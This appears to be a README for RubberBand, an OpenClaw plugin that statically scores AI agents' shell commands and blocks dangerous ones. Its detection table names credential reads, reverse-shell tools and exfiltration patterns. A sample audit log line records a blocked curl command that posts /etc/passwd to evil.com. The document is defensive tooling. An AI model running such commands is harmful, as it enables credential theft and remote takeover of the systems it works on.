RubberBand

Static command pattern detection plugin for OpenClaw. Intercepts exec tool calls and blocks dangerous commands before they run.

Zero dependencies. No cloud calls. Pure local static analysis in <3ms per command.

Built against OpenClaw v2026.5.18. Current OpenClaw before_tool_call hooks support block and parameter mutation; older requireApproval hook responses are not part of the current hook result contract.

Install

openclaw plugins install @jeffaf/rubberband
openclaw gateway restart

Verify it loaded:

openclaw logs --limit 20 | grep -i rubberband
# Should show: [plugins] RubberBand plugin active (mode: block)

Manual Install (from source)

cd ~/.openclaw/extensions
git clone https://github.com/jeffaf/rubberband.git
openclaw gateway restart

Update

# npm
openclaw plugins update rubberband

# git
cd ~/.openclaw/extensions/rubberband && git pull
openclaw gateway restart

What It Does

RubberBand hooks into the before_tool_call event and analyzes every exec command for dangerous patterns. It scores commands based on 18 detection categories and blocks, requires approval, or logs based on configurable thresholds.

When a command is blocked:

The agent receives the block reason (visible in chat)
A 🔴 system event is injected into the session history
The event is logged to ~/.openclaw/logs/rubberband.log (JSONL)

When a command triggers ALERT:

The event is logged but not blocked, because current OpenClaw hook results do not expose a plugin approval prompt
Use thresholds to reserve hard blocking for high-confidence BLOCK findings
The event is logged to ~/.openclaw/logs/rubberband.log (JSONL)

Detection Categories

| Category | Examples | Score | |----------|----------|-------| | Credential Access | cat ~/.ssh/id_rsa, AWS keys, keychains | 60-80 | | Data Exfiltration | curl -X POST to external hosts | 40-70 | | Reverse Shells | nc -e, bash /dev/tcp, ngrok tunnels | 90 | | Config Tampering | Writes to SOUL.md, system prompts | 75 | | Persistence | Crontab, LaunchAgents, shell rc modifications | 60 | | Indirect Execution | Pipe to shell, eval, base64 decode + exec | 30-50 | | Reconnaissance | whoami, env, ps aux chains | 30 |

Thresholds

| Score | Default Disposition | Behavior | |-------|-------------|----------| | 0 | ALLOW | No detection | | 1-39 | LOG | Logged to audit file | | 40-59 | ALERT | ⚠️ audit log only until OpenClaw exposes plugin approval prompts | | 60+ | BLOCK | 🔴 Command rejected + system event + audit log |

Audit Log

All BLOCK, ALERT, and LOG events are written to ~/.openclaw/logs/rubberband.log as JSONL:

{"ts":"2026-02-24T13:26:14Z","disposition":"BLOCK","score":70,"rules":["network_exfil"],"command":"curl -X POST -d @/etc/passwd https://evil.com","sessionKey":"agent:main:main"}

View logs:

cat ~/.openclaw/logs/rubberband.log | jq .
tail -f ~/.openclaw/logs/rubberband.log | jq .

Configuration

In openclaw.json:

{
  "plugins": {
    "entries": {
      "rubberband": {
        "enabled": true,
        "config": {
          "mode": "block",
          "thresholds": {
            "alert": 40,
            "block": 60
          },
          "allowedDestinations": ["github.com", "api.openai.com"]
        }
      }
    }
  }
}

Modes

block (default) - Block commands above block threshold, alert above alert threshold
alert - Never block, only alert
log - Silent logging only
shadow - Like log, for testing without any user-visible output
off - Disabled

Tests / Build

npm run check

This runs TypeScript typecheck, Vitest, and a production build to dist/.

29 tests covering detection categories, edge cases, mode handling, public exports, and plugin hook responses.

How It Works

RubberBand is a pure TypeScript static analyzer. It normalizes commands (handling encoding, escaping, heredocs, etc.) and matches against pattern rules with weighted scoring.

The plugin registers a before_tool_call hook at priority 10. When an exec-like tool call comes in, it extracts command text from either command or cmd params and runs it through the analyzer. BLOCK results return { block: true, blockReason: "..." } for a hard stop. ALERT results are audit-log only until OpenClaw exposes a current approval hook result again.

Performance: Detection runs in under 3ms per command.

Project Status

RubberBand started as a native OpenClaw proposal, but the core PR path is closed. The live path is this plugin/community package.

Background: Discussion #4981.

License

MIT

rubberband

Summary

Install to Claude Code